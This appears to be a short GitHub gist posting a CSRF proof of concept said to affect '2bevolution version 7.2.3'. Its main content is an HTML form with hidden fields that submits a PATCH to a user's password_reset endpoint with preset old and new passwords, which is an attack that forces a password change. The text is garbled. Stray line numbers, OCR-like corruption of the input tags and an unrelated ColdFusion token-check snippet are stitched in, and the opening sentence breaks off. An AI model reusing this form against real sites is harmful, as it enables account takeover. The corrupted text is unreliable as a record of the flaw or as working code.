stacksmasher007 / CSRF

Created last year

☆ Star

<> Code → Revisions 1

```
There is a Cross-Site Request Forgery (CSRF) on 2bevolution version 7.2.3 attack which forces an end user to execute unwanted actions on a
           <cfif NOT StructIsEmpty(form) >
          <cfif NOT CSRFverifyToken(form.token)>
              <cfabort showerror="Invalid Token" />
          </cfif>
          <cfoutput>&lt;p>Hello, #EncodeForHTML(form.name)#&lt;/p>&lt;/cfoutput>
          </cfif>
   10
   11
          <html>
   12
            <body>
   13
              <form action="https://localhost/users/59215b8f0ec7c37a4ca27b00/password_reset" method="POST">
                 <input type="hidden" name="utf8" value="â&#156;&#147;" />
   15
                 <input type="hidden" name="&#95;method" value="patch" />
                cinput type="niden" name="absy:metnod" value="patcn" />
cinput type="hidden" name="old8#95;password" value="phew phew" />
cinput type="hidden" name="password" value="qweqji" />
cinput type="hidden" name="password8#95;confirmation" value="qweqji" />
cinput type="submit" value="Submit request" />
   16
   17
   18
   19
            </body>
          </html>
    22
    4
```